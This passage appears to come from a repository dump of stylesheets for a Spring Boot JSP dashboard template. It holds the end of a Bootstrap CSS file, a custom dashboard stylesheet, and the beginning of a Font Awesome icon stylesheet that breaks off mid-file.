#ebccd1;\n}\n.well {\n  min-height: 20px;\n  padding: 19px;\n  margin-bottom: 20px;\n  background-color: #f5f5f5;\n  border: 1px solid #e3e3e3;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05);\n}\n.well blockquote {\n  border-color: #ddd;\n  border-color: rgba(0, 0, 0, .15);\n}\n.well-lg {\n  padding: 24px;\n  border-radius: 6px;\n}\n.well-sm {\n  padding: 9px;\n  border-radius: 3px;\n}\n.close {\n  float: right;\n  font-size: 21px;\n  font-weight: bold;\n  line-height: 1;\n  color: #000;\n  text-shadow: 0 1px 0 #fff;\n  filter: alpha(opacity=20);\n  opacity: .2;\n}\n.close:hover,\n.close:focus {\n  color: #000;\n  text-decoration: none;\n  cursor: pointer;\n  filter: alpha(opacity=50);\n  opacity: .5;\n}\nbutton.close {\n  -webkit-appearance: none;\n  padding: 0;\n  cursor: pointer;\n  background: transparent;\n  border: 0;\n}\n.modal-open {\n  overflow: hidden;\n}\n.modal {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1050;\n  display: none;\n  overflow: auto;\n  overflow-y: scroll;\n  -webkit-overflow-scrolling: touch;\n  outline: 0;\n}\n.modal.fade .modal-dialog {\n  -webkit-transition: -webkit-transform .3s ease-out;\n     -moz-transition:    -moz-transform .3s ease-out;\n       -o-transition:      -o-transform .3s ease-out;\n          transition:         transform .3s ease-out;\n  -webkit-transform: translate(0, -25%);\n      -ms-transform: translate(0, -25%);\n          transform: translate(0, -25%);\n}\n.modal.in .modal-dialog {\n  -webkit-transform: translate(0, 0);\n      -ms-transform: translate(0, 0);\n          transform: translate(0, 0);\n}\n.modal-dialog {\n  position: relative;\n  width: auto;\n  margin: 10px;\n}\n.modal-content {\n  position: relative;\n  background-color: #fff;\n  background-clip: padding-box;\n  border: 1px solid #999;\n  border: 1px solid rgba(0, 0, 0, .2);\n  border-radius: 6px;\n  outline: none;\n  -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, .5);\n          box-shadow: 0 3px 9px rgba(0, 0, 0, .5);\n}\n.modal-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1040;\n  background-color: #000;\n}\n.modal-backdrop.fade {\n  filter: alpha(opacity=0);\n  opacity: 0;\n}\n.modal-backdrop.in {\n  filter: alpha(opacity=50);\n  opacity: .5;\n}\n.modal-header {\n  min-height: 16.42857143px;\n  padding: 15px;\n  border-bottom: 1px solid #e5e5e5;\n}\n.modal-header .close {\n  margin-top: -2px;\n}\n.modal-title {\n  margin: 0;\n  line-height: 1.42857143;\n}\n.modal-body {\n  position: relative;\n  padding: 20px;\n}\n.modal-footer {\n  padding: 19px 20px 20px;\n  margin-top: 15px;\n  text-align: right;\n  border-top: 1px solid #e5e5e5;\n}\n.modal-footer .btn + .btn {\n  margin-bottom: 0;\n  margin-left: 5px;\n}\n.modal-footer .btn-group .btn + .btn {\n  margin-left: -1px;\n}\n.modal-footer .btn-block + .btn-block {\n  margin-left: 0;\n}\n@media (min-width: 768px) {\n  .modal-dialog {\n    width: 600px;\n    margin: 30px auto;\n  }\n  .modal-content {\n    -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, .5);\n            box-shadow: 0 5px 15px rgba(0, 0, 0, .5);\n  }\n  .modal-sm {\n    width: 300px;\n  }\n}\n@media (min-width: 992px) {\n  .modal-lg {\n    width: 900px;\n  }\n}\n.tooltip {\n  position: absolute;\n  z-index: 1030;\n  display: block;\n  font-size: 12px;\n  line-height: 1.4;\n  visibility: visible;\n  filter: alpha(opacity=0);\n  opacity: 0;\n}\n.tooltip.in {\n  filter: alpha(opacity=90);\n  opacity: .9;\n}\n.tooltip.top {\n  padding: 5px 0;\n  margin-top: -3px;\n}\n.tooltip.right {\n  padding: 0 5px;\n  margin-left: 3px;\n}\n.tooltip.bottom {\n  padding: 5px 0;\n  margin-top: 3px;\n}\n.tooltip.left {\n  padding: 0 5px;\n  margin-left: -3px;\n}\n.tooltip-inner {\n  max-width: 200px;\n  padding: 3px 8px;\n  color: #fff;\n  text-align: center;\n  text-decoration: none;\n  background-color: #000;\n  border-radius: 4px;\n}\n.tooltip-arrow {\n  position: absolute;\n  width: 0;\n  height: 0;\n  border-color: transparent;\n  border-style: solid;\n}\n.tooltip.top .tooltip-arrow {\n  bottom: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-width: 5px 5px 0;\n  border-top-color: #000;\n}\n.tooltip.top-left .tooltip-arrow {\n  bottom: 0;\n  left: 5px;\n  border-width: 5px 5px 0;\n  border-top-color: #000;\n}\n.tooltip.top-right .tooltip-arrow {\n  right: 5px;\n  bottom: 0;\n  border-width: 5px 5px 0;\n  border-top-color: #000;\n}\n.tooltip.right .tooltip-arrow {\n  top: 50%;\n  left: 0;\n  margin-top: -5px;\n  border-width: 5px 5px 5px 0;\n  border-right-color: #000;\n}\n.tooltip.left .tooltip-arrow {\n  top: 50%;\n  right: 0;\n  margin-top: -5px;\n  border-width: 5px 0 5px 5px;\n  border-left-color: #000;\n}\n.tooltip.bottom .tooltip-arrow {\n  top: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-width: 0 5px 5px;\n  border-bottom-color: #000;\n}\n.tooltip.bottom-left .tooltip-arrow {\n  top: 0;\n  left: 5px;\n  border-width: 0 5px 5px;\n  border-bottom-color: #000;\n}\n.tooltip.bottom-right .tooltip-arrow {\n  top: 0;\n  right: 5px;\n  border-width: 0 5px 5px;\n  border-bottom-color: #000;\n}\n.popover {\n  position: absolute;\n  top: 0;\n  left: 0;\n  z-index: 1010;\n  display: none;\n  max-width: 276px;\n  padding: 1px;\n  text-align: left;\n  white-space: normal;\n  background-color: #fff;\n  background-clip: padding-box;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, .2);\n  border-radius: 6px;\n  -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, .2);\n          box-shadow: 0 5px 10px rgba(0, 0, 0, .2);\n}\n.popover.top {\n  margin-top: -10px;\n}\n.popover.right {\n  margin-left: 10px;\n}\n.popover.bottom {\n  margin-top: 10px;\n}\n.popover.left {\n  margin-left: -10px;\n}\n.popover-title {\n  padding: 8px 14px;\n  margin: 0;\n  font-size: 14px;\n  font-weight: normal;\n  line-height: 18px;\n  background-color: #f7f7f7;\n  border-bottom: 1px solid #ebebeb;\n  border-radius: 5px 5px 0 0;\n}\n.popover-content {\n  padding: 9px 14px;\n}\n.popover > .arrow,\n.popover > .arrow:after {\n  position: absolute;\n  display: block;\n  width: 0;\n  height: 0;\n  border-color: transparent;\n  border-style: solid;\n}\n.popover > .arrow {\n  border-width: 11px;\n}\n.popover > .arrow:after {\n  content: \"\";\n  border-width: 10px;\n}\n.popover.top > .arrow {\n  bottom: -11px;\n  left: 50%;\n  margin-left: -11px;\n  border-top-color: #999;\n  border-top-color: rgba(0, 0, 0, .25);\n  border-bottom-width: 0;\n}\n.popover.top > .arrow:after {\n  bottom: 1px;\n  margin-left: -10px;\n  content: \" \";\n  border-top-color: #fff;\n  border-bottom-width: 0;\n}\n.popover.right > .arrow {\n  top: 50%;\n  left: -11px;\n  margin-top: -11px;\n  border-right-color: #999;\n  border-right-color: rgba(0, 0, 0, .25);\n  border-left-width: 0;\n}\n.popover.right > .arrow:after {\n  bottom: -10px;\n  left: 1px;\n  content: \" \";\n  border-right-color: #fff;\n  border-left-width: 0;\n}\n.popover.bottom > .arrow {\n  top: -11px;\n  left: 50%;\n  margin-left: -11px;\n  border-top-width: 0;\n  border-bottom-color: #999;\n  border-bottom-color: rgba(0, 0, 0, .25);\n}\n.popover.bottom > .arrow:after {\n  top: 1px;\n  margin-left: -10px;\n  content: \" \";\n  border-top-width: 0;\n  border-bottom-color: #fff;\n}\n.popover.left > .arrow {\n  top: 50%;\n  right: -11px;\n  margin-top: -11px;\n  border-right-width: 0;\n  border-left-color: #999;\n  border-left-color: rgba(0, 0, 0, .25);\n}\n.popover.left > .arrow:after {\n  right: 1px;\n  bottom: -10px;\n  content: \" \";\n  border-right-width: 0;\n  border-left-color: #fff;\n}\n.carousel {\n  position: relative;\n}\n.carousel-inner {\n  position: relative;\n  width: 100%;\n  overflow: hidden;\n}\n.carousel-inner > .item {\n  position: relative;\n  display: none;\n  -webkit-transition: .6s ease-in-out left;\n          transition: .6s ease-in-out left;\n}\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n  line-height: 1;\n}\n.carousel-inner > .active,\n.carousel-inner > .next,\n.carousel-inner > .prev {\n  display: block;\n}\n.carousel-inner > .active {\n  left: 0;\n}\n.carousel-inner > .next,\n.carousel-inner > .prev {\n  position: absolute;\n  top: 0;\n  width: 100%;\n}\n.carousel-inner > .next {\n  left: 100%;\n}\n.carousel-inner > .prev {\n  left: -100%;\n}\n.carousel-inner > .next.left,\n.carousel-inner > .prev.right {\n  left: 0;\n}\n.carousel-inner > .active.left {\n  left: -100%;\n}\n.carousel-inner > .active.right {\n  left: 100%;\n}\n.carousel-control {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  width: 15%;\n  font-size: 20px;\n  color: #fff;\n  text-align: center;\n  text-shadow: 0 1px 2px rgba(0, 0, 0, .6);\n  filter: alpha(opacity=50);\n  opacity: .5;\n}\n.carousel-control.left {\n  background-repeat: repeat-x;\n    background-image: linear-gradient(to right, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%);\n}\n.carousel-control.right {\n  right: 0;\n  left: auto;\n    background-repeat: repeat-x;\n    background-image: linear-gradient(to right, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%);\n}\n.carousel-control:hover,\n.carousel-control:focus {\n  color: #fff;\n  text-decoration: none;\n  filter: alpha(opacity=90);\n  outline: none;\n  opacity: .9;\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-left,\n.carousel-control .glyphicon-chevron-right {\n  position: absolute;\n  top: 50%;\n  z-index: 5;\n  display: inline-block;\n}\n.carousel-control .icon-prev,\n.carousel-control .glyphicon-chevron-left {\n  left: 50%;\n}\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-right {\n  right: 50%;\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next {\n  width: 20px;\n  height: 20px;\n  margin-top: -10px;\n  margin-left: -10px;\n  font-family: serif;\n}\n.carousel-control .icon-prev:before {\n  content: '\\2039';\n}\n.carousel-control .icon-next:before {\n  content: '\\203a';\n}\n.carousel-indicators {\n  position: absolute;\n  bottom: 10px;\n  left: 50%;\n  z-index: 15;\n  width: 60%;\n  padding-left: 0;\n  margin-left: -30%;\n  text-align: center;\n  list-style: none;\n}\n.carousel-indicators li {\n  display: inline-block;\n  width: 10px;\n  height: 10px;\n  margin: 1px;\n  text-indent: -999px;\n  cursor: pointer;\n  background-color: #000 \\9;\n  background-color: rgba(0, 0, 0, 0);\n  border: 1px solid #fff;\n  border-radius: 10px;\n}\n.carousel-indicators .active {\n  width: 12px;\n  height: 12px;\n  margin: 0;\n  background-color: #fff;\n}\n.carousel-caption {\n  position: absolute;\n  right: 15%;\n  bottom: 20px;\n  left: 15%;\n  z-index: 10;\n  padding-top: 20px;\n  padding-bottom: 20px;\n  color: #fff;\n  text-align: center;\n  text-shadow: 0 1px 2px rgba(0, 0, 0, .6);\n}\n.carousel-caption .btn {\n  text-shadow: none;\n}\n@media screen and (min-width: 768px) {\n  .carousel-control .glyphicon-chevron-left,\n  .carousel-control .glyphicon-chevron-right,\n  .carousel-control .icon-prev,\n  .carousel-control .icon-next {\n    width: 30px;\n    height: 30px;\n    margin-top: -15px;\n    margin-left: -15px;\n    font-size: 30px;\n  }\n  .carousel-caption {\n    right: 20%;\n    left: 20%;\n    padding-bottom: 30px;\n  }\n  .carousel-indicators {\n    bottom: 20px;\n  }\n}\n.clearfix:before,\n.clearfix:after,\n.container:before,\n.container:after,\n.container-fluid:before,\n.container-fluid:after,\n.row:before,\n.row:after,\n.form-horizontal .form-group:before,\n.form-horizontal .form-group:after,\n.btn-toolbar:before,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:before,\n.btn-group-vertical > .btn-group:after,\n.nav:before,\n.nav:after,\n.navbar:before,\n.navbar:after,\n.navbar-header:before,\n.navbar-header:after,\n.navbar-collapse:before,\n.navbar-collapse:after,\n.pager:before,\n.pager:after,\n.panel-body:before,\n.panel-body:after,\n.modal-footer:before,\n.modal-footer:after {\n  display: table;\n  content: \" \";\n}\n.clearfix:after,\n.container:after,\n.container-fluid:after,\n.row:after,\n.form-horizontal .form-group:after,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:after,\n.nav:after,\n.navbar:after,\n.navbar-header:after,\n.navbar-collapse:after,\n.pager:after,\n.panel-body:after,\n.modal-footer:after {\n  clear: both;\n}\n.center-block {\n  display: block;\n  margin-right: auto;\n  margin-left: auto;\n}\n.pull-right {\n  float: right !important;\n}\n.pull-left {\n  float: left !important;\n}\n.hide {\n  display: none !important;\n}\n.show {\n  display: block !important;\n}\n.invisible {\n  visibility: hidden;\n}\n.text-hide {\n  font: 0/0 a;\n  color: transparent;\n  text-shadow: none;\n  background-color: transparent;\n  border: 0;\n}\n.hidden {\n  display: none !important;\n  visibility: hidden !important;\n}\n.affix {\n  position: fixed;\n}\n@-ms-viewport {\n  width: device-width;\n}\n.visible-xs,\n.visible-sm,\n.visible-md,\n.visible-lg {\n  display: none !important;\n}\n@media (max-width: 767px) {\n  .visible-xs {\n    display: block !important;\n  }\n  table.visible-xs {\n    display: table;\n  }\n  tr.visible-xs {\n    display: table-row !important;\n  }\n  th.visible-xs,\n  td.visible-xs {\n    display: table-cell !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-sm {\n    display: block !important;\n  }\n  table.visible-sm {\n    display: table;\n  }\n  tr.visible-sm {\n    display: table-row !important;\n  }\n  th.visible-sm,\n  td.visible-sm {\n    display: table-cell !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-md {\n    display: block !important;\n  }\n  table.visible-md {\n    display: table;\n  }\n  tr.visible-md {\n    display: table-row !important;\n  }\n  th.visible-md,\n  td.visible-md {\n    display: table-cell !important;\n  }\n}\n@media (min-width: 1200px) {\n  .visible-lg {\n    display: block !important;\n  }\n  table.visible-lg {\n    display: table;\n  }\n  tr.visible-lg {\n    display: table-row !important;\n  }\n  th.visible-lg,\n  td.visible-lg {\n    display: table-cell !important;\n  }\n}\n@media (max-width: 767px) {\n  .hidden-xs {\n    display: none !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .hidden-sm {\n    display: none !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .hidden-md {\n    display: none !important;\n  }\n}\n@media (min-width: 1200px) {\n  .hidden-lg {\n    display: none !important;\n  }\n}\n.visible-print {\n  display: none !important;\n}\n@media print {\n  .visible-print {\n    display: block !important;\n  }\n  table.visible-print {\n    display: table;\n  }\n  tr.visible-print {\n    display: table-row !important;\n  }\n  th.visible-print,\n  td.visible-print {\n    display: table-cell !important;\n  }\n}\n@media print {\n  .hidden-print {\n    display: none !important;\n  }\n}\n/*# sourceMappingURL=bootstrap.css.map */\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/resources/static/assets/css/custom-styles.css",
    "content": "/*----------------------------------------------\n    COMMON  STYLES    \n------------------------------------------------*/\nbody {\n    font-family: 'Open Sans', sans-serif;\n}\n\n #wrapper {\n    width: 100%;\n    background:#09192A;\n}\n\n#page-wrapper {\n    padding: 15px 15px;\n    min-height: 600px;\n    background:#E5EBF2;\n   \n}\n#page-inner {\n    width:100%;\n    margin:10px 20px 10px 0px;\n    background-color:transparent;\n    padding:10px;\n    min-height:1200px;\n}\n\n.text-center {\n    text-align:center;\n}\n.no-boder {\n    border:1px solid #f3f3f3;\n}\n\nh1, .h1, h2, .h2, h3, .h3 {\nmargin-top: 7px;\nmargin-bottom: -5px;\n}\nh2 {\n    color: #000;\n}\nh4 {\n    padding-top:10px;\n}\n.square-btn-adjust {\n    border: 0px solid transparent; \n   -webkit-border-radius: 0px;\n-moz-border-radius: 0px;\nborder-radius: 0px;\n\n}\np {\n    font-size:16px;\n    line-height:25px;\n    padding-top:20px;\n}\n/*----------------------------------------------\n   DASHBOARD STYLES    \n------------------------------------------------*/\n.page-header {\npadding-bottom: 9px;\nmargin: 10px 0 45px;\nborder-bottom: 1px solid #C7D1DD;\n}\n.panel-back {\n    background-color:#fff;\n\n}\n.panel-default > .panel-heading {\ncolor: #000;\nbackground-color: #FFFFFF;\nborder-color: #ddd;\nfont-weight:bold;\n}\n.jumbotron, .well{\nbackground:#fff;\n}\n   .noti-box {\nmin-height: 100px;\npadding: 20px;\n}\n\n    .noti-box .icon-box {\ndisplay: block;\nfloat: left;\nmargin: 0 15px 10px 0;\nwidth: 70px;\nheight: 70px;\nline-height: 75px;\nvertical-align: middle;\ntext-align: center;\nfont-size: 40px;\n}\n.text-box p{\n    margin: 0 0 3px;\n}\n.main-text {\n    font-size: 25px;\n    font-weight:600;\n}\n.set-icon {\n-webkit-border-radius: 50px;\n-moz-border-radius: 50px;\nborder-radius: 50px;\n\n}\n    .bg-color-green {\nbackground-color: #fff;\ncolor: #5cb85c;\n}\n .bg-color-blue {\nbackground-color: #fff;\ncolor: #4CB1CF\n}\n  .bg-color-red {\nbackground-color: #fff;\ncolor:#F0433D;\n}\n  .bg-color-brown {\nbackground-color: #fff;\ncolor:#f0ad4e;\n}\n.back-footer-green {\nbackground-color: #5cb85c;\ncolor:#fff;\nborder-top: 0px solid #fff;\n}\n .back-footer-red {\nbackground-color: #F0433D;\ncolor:#fff;\nborder-top: 0px solid #fff;\n}\n .back-footer-blue {\nbackground-color: #4CB1CF;\ncolor:#fff;\nborder-top: 0px solid #fff;\n}\n .back-footer-brown {\nbackground-color: #f0ad4e;\ncolor:#fff;\nborder-top: 0px solid #fff;\n}\n .icon-box-right {\ndisplay: block;\nfloat: right;\nmargin: 0 15px 10px 0;\nwidth: 70px;\nheight: 70px;\nline-height: 75px;\nvertical-align: middle;\ntext-align: center;\nfont-size: 40px;\n}\n\n .main-temp-back {\nbackground: #8702A8;\ncolor: #FFFFFF;\nfont-size: 16px;\nfont-weight: 300;\ntext-align: center;\n}\n .main-temp-back .text-temp {\nfont-size: 40px;\n}\n.back-dash {\n    padding:20px;\n    font-size:20px;\n    font-weight:500;\n  -webkit-border-radius: 0px;\n-moz-border-radius: 0px;\nborder-radius: 0px;\nbackground-color:#2EA7EB;\ncolor:#fff;\n}\n    .back-dash p {\n        padding-top:16px;\n        font-size:13px;\n        color:#fff;\n        line-height:25px;\n        text-align:justify;\n    }\n\n     .color-bottom-txt {\n   color: #000;\nfont-size: 16px;\nline-height: 30px;\n}\n     /*CHAT PANEL*/\n .chat-panel .panel-body {\nheight: 450px;\noverflow-y: scroll;\n}\n .chat-box {\nmargin: 0;\npadding: 0;\nlist-style: none;\n}\n .chat-box li {\nmargin-bottom: 15px;\npadding-bottom: 5px;\nborder-bottom: 1px dotted #808080;\n}\n .chat-box li.left .chat-body {\nmargin-left: 90px;\n}\n .chat-box li .chat-body p {\nmargin: 0;\ncolor: #8d8888;\n}\n.chat-img>img {\n    margin-left:20px;\n}\nfooter p{\nfont-size: 14px;\n}\n/*----------------------------------------------\n    MENU STYLES    \n------------------------------------------------*/\n\n\n.user-image {\n    margin: 25px auto;\n-webkit-border-radius: 10px;\n-moz-border-radius: 10px;\nborder-radius: 10px;\nmax-height:170px;\nmax-width:170px;\n}\n.top-navbar{\nmargin:0px;\n}\n.top-navbar .navbar-brand {\ncolor: #fff;\nwidth: 260px;\ntext-align: left;\nheight: 60px;\nfont-size: 30px;\nfont-weight: 700;\ntext-transform: uppercase;\nline-height: 30px;\n}\n.top-navbar .nav > li {\nposition: relative;\ndisplay: inline-block;\n}\n.top-navbar .nav > li > a {\nposition: relative;\ndisplay: block;\npadding: 19px 15px;\ncolor: #77C0FD;\n}\n.top-navbar .nav > li > a:hover, .top-navbar .nav > li > a:focus {\ntext-decoration: none;\nbackground-color: #225081;\ncolor: #fff;\n}\n.top-navbar .dropdown-menu{\nmin-width: 230px;\nborder-radius: 0 0 4px 4px;\n}\n.top-navbar .dropdown-menu > li > a:hover, .top-navbar .dropdown-menu > li > a:focus{\ncolor: #225081;\nbackground:none;\n}\n.dropdown-tasks{\nwidth: 255px;\n}\n.dropdown-tasks .progress {\nheight: 8px;\nmargin-bottom: 8px;\noverflow: hidden;\nbackground-color: #f5f5f5;\nborder-radius: 0px;\n}\n.dropdown-tasks > li > a { \npadding: 0px 15px;\n}\n.dropdown-tasks p {\nfont-size: 13px;\nline-height: 21px;\npadding-top: 4px;\n}\n.active-menu {\n    background-color:#225081!important;\n}\n\n.arrow {\n    float: right;\n}\n\n.fa.arrow:before {\n    content: \"\\f104\";\n}\n\n.active > a > .fa.arrow:before {\n    content: \"\\f107\";\n}\n\n\n.nav-second-level li,\n.nav-third-level li {\n    border-bottom: none !important;\n}\n\n.nav-second-level li a {\n    padding-left: 37px;\n}\n\n.nav-third-level li a {\n    padding-left: 55px;\n}\n.sidebar-collapse , .sidebar-collapse .nav{\n\tbackground:none;\n}\n.sidebar-collapse .nav {\n\tpadding:0;\n}\n.sidebar-collapse .nav > li > a {\n\tcolor:#fff;\n\tbackground:transparent;\n\ttext-shadow:none;\n\t\n}\n.sidebar-collapse > .nav > li > a {\n\tpadding:15px 10px;\n}\n.sidebar-collapse > .nav > li {\n\tborder-bottom: 1px solid rgba(107, 108, 109, 0.19);\n}\nul.nav.nav-second-level.collapse.in {\nbackground: #172D44;\n}\n.sidebar-collapse .nav > li > a:hover,\n.sidebar-collapse .nav > li > a:focus {\n\t \n\toutline:0;\n}\n \n.navbar-side {\n\tborder:none;\n\tbackground-color: transparent;\n\t\n}\n.top-navbar {\n\tbackground:#09192A;\n\tborder-bottom:none;\n\t\n}\n.top-navbar .nav > li > a > i {\nmargin-right: 2px;\n}\n.top-navbar .navbar-brand:hover { \ncolor:#fff;\n\n}\n.dropdown-user li {\nmargin: 8px 0;\n}\n.navbar-default {\nborder:0px solid black;\n     \n}\n.navbar-header {\n    background: #09192A;\n}\n.navbar-default .navbar-toggle:hover, .navbar-default .navbar-toggle:focus {\nbackground-color: #B40101;\n}\n.navbar-default .navbar-toggle {\nborder-color: #fff;\n}\n\n.navbar-default .navbar-toggle .icon-bar {\nbackground-color: #FFF;\n}\n.nav > li > a > i {\n    margin-right:10px;\n}\n/*----------------------------------------------\n    UI ELEMENTS STYLES     \n------------------------------------------------*/\n.btn-circle {\nwidth: 50px;\nheight: 50px;\npadding: 6px 0;\n -webkit-border-radius: 25px;\n-moz-border-radius: 25px;\nborder-radius: 25px;\ntext-align: center;\nfont-size: 12px;\nline-height: 1.428571429;\n}\n\n/*----------------------------------------------\n    MEDIA QUERIES     \n------------------------------------------------*/\n \n @media(min-width:768px) {\n     #page-wrapper{\n               margin: 0 0 0 260px;\n        padding: 15px 30px;\n        min-height: 1200px;\n\t\t\n    }\n\t\n\t\n    .navbar-side {\n        z-index: 1;\n        position: absolute;\n        width: 260px;\n    }\n\n   .navbar {\n border-radius: 0px; \n}\n   \n}\n @media(max-width:480px) {\n.page-header small {\ndisplay: block;\npadding-top: 14px;\nfont-size: 19px;\n}\n}\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/resources/static/assets/css/font-awesome.css",
    "content": "@font-face {\n  font-family: 'FontAwesome';\n  src: url('../font-awesome/fonts/fontawesome-webfontba72.eot?v=4.0.3');\n  src: url('../font-awesome/fonts/fontawesome-webfontd41d.eot?#iefix&v=4.0.3') format('embedded-opentype'), url('../font-awesome/fonts/fontawesome-webfontba72.woff?v=4.0.3') format('woff'), url('../font-awesome/fonts/fontawesome-webfontba72.ttf?v=4.0.3') format('truetype'), url('../font-awesome/fonts/fontawesome-webfontba72.svg?v=4.0.3#fontawesomeregular') format('svg');\n  font-weight: normal;\n  font-style: normal;\n}\n.fa {\n  display: inline-block;\n  font-family: FontAwesome;\n  font-style: normal;\n  font-weight: normal;\n  line-height: 1;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n/* makes the font 33% larger relative to the icon container */\n.fa-lg {\n  font-size: 1.3333333333333333em;\n  line-height: 0.75em;\n  vertical-align: -15%;\n}\n.fa-2x {\n  font-size: 2em;\n}\n.fa-3x {\n  font-size: 3em;\n}\n.fa-4x {\n  font-size: 4em;\n}\n.fa-5x {\n  font-size: 5em;\n}\n.fa-fw {\n  width: 1.2857142857142858em;\n  text-align: center;\n}\n.fa-ul {\n  padding-left: 0;\n  margin-left: 2.142857142857143em;\n  list-style-type: none;\n}\n.fa-ul > li {\n  position: relative;\n}\n.fa-li {\n  position: absolute;\n  left: -2.142857142857143em;\n  width: 2.142857142857143em;\n  top: 0.14285714285714285em;\n  text-align: center;\n}\n.fa-li.fa-lg {\n  left: -1.8571428571428572em;\n}\n.fa-border {\n  padding: .2em .25em .15em;\n  border: solid 0.08em #eeeeee;\n  border-radius: .1em;\n}\n.pull-right {\n  float: right;\n}\n.pull-left {\n  float: left;\n}\n.fa.pull-left {\n  margin-right: .3em;\n}\n.fa.pull-right {\n  margin-left: .3em;\n}\n.fa-spin {\n  -webkit-animation: spin 2s infinite linear;\n  -moz-animation: spin 2s infinite linear;\n  -o-animation: spin 2s infinite linear;\n  animation: spin 2s infinite linear;\n}\n@-moz-keyframes spin {\n  0% {\n    -moz-transform: rotate(0deg);\n  }\n  100% {\n    -moz-transform: rotate(359deg);\n  }\n}\n@-webkit-keyframes spin {\n  0% {\n    -webkit-transform: rotate(0deg);\n  }\n  100% {\n    -webkit-transform: rotate(359deg);\n  }\n}\n@-o-keyframes spin {\n  0% {\n    -o-transform: rotate(0deg);\n  }\n  100% {\n    -o-transform: rotate(359deg);\n  }\n}\n@-ms-keyframes spin {\n  0% {\n    -ms-transform: rotate(0deg);\n  }\n  100% {\n    -ms-transform: rotate(359deg);\n  }\n}\n@keyframes spin {\n  0% {\n    transform: rotate(0deg);\n  }\n  100% {\n    transform: rotate(359deg);\n  }\n}\n.fa-rotate-90 {\n  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=1);\n  -webkit-transform: rotate(90deg);\n  -moz-transform: rotate(90deg);\n  -ms-transform: rotate(90deg);\n  -o-transform: rotate(90deg);\n  transform: rotate(90deg);\n}\n.fa-rotate-180 {\n  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=2);\n  -webkit-transform: rotate(180deg);\n  -moz-transform: rotate(180deg);\n  -ms-transform: rotate(180deg);\n  -o-transform: rotate(180deg);\n  transform: rotate(180deg);\n}\n.fa-rotate-270 {\n  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=3);\n  -webkit-transform: rotate(270deg);\n  -moz-transform: rotate(270deg);\n  -ms-transform: rotate(270deg);\n  -o-transform: rotate(270deg);\n  transform: rotate(270deg);\n}\n.fa-flip-horizontal {\n  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1);\n  -webkit-transform: scale(-1, 1);\n  -moz-transform: scale(-1, 1);\n  -ms-transform: scale(-1, 1);\n  -o-transform: scale(-1, 1);\n  transform: scale(-1, 1);\n}\n.fa-flip-vertical {\n  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1);\n  -webkit-transform: scale(1, -1);\n  -moz-transform: scale(1, -1);\n  -ms-transform: scale(1, -1);\n  -o-transform: scale(1, -1);\n  transform: scale(1, -1);\n}\n.fa-stack {\n  position: relative;\n  display: inline-block;\n  width: 2em;\n  height: 2em;\n  line-height: 2em;\n  vertical-align: middle;\n}\n.fa-stack-1x,\n.fa-stack-2x {\n  position: absolute;\n  left: 0;\n  width: 100%;\n  text-align: center;\n}\n.fa-stack-1x {\n  line-height: inherit;\n}\n.fa-stack-2x {\n  font-size: 2em;\n}\n.fa-inverse {\n  color: #ffffff;\n}\n/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen\n   readers do not read off random characters that represent icons */\n.fa-glass:before {\n  content: \"\\f000\";\n}\n.fa-music:before {\n  content: \"\\f001\";\n}\n.fa-search:before {\n  content: \"\\f002\";\n}\n.fa-envelope-o:before {\n  content: \"\\f003\";\n}\n.fa-heart:before {\n  content: \"\\f004\";\n}\n.fa-star:before {\n  content: \"\\f005\";\n}\n.fa-star-o:before {\n  content: \"\\f006\";\n}\n.fa-user:before {\n  content: \"\\f007\";\n}\n.fa-film:before {\n  content: \"\\f008\";\n}\n.fa-th-large:before {\n  content: \"\\f009\";\n}\n.fa-th:before {\n  content: \"\\f00a\";\n}\n.fa-th-list:before {\n  content: \"\\f00b\";\n}\n.fa-check:before {\n  content: \"\\f00c\";\n}\n.fa-times:before {\n  content: \"\\f00d\";\n}\n.fa-search-plus:before {\n  content: \"\\f00e\";\n}\n.fa-search-minus:before {\n  content: \"\\f010\";\n}\n.fa-power-off:before {\n  content: \"\\f011\";\n}\n.fa-signal:before {\n  content: \"\\f012\";\n}\n.fa-gear:before,\n.fa-cog:before {\n  content: \"\\f013\";\n}\n.fa-trash-o:before {\n  content: \"\\f014\";\n}\n.fa-home:before {\n  content: \"\\f015\";\n}\n.fa-file-o:before {\n  content: \"\\f016\";\n}\n.fa-clock-o:before {\n  content: \"\\f017\";\n}\n.fa-road:before {\n  content: \"\\f018\";\n}\n.fa-download:before {\n  content: \"\\f019\";\n}\n.fa-arrow-circle-o-down:before {\n  content: 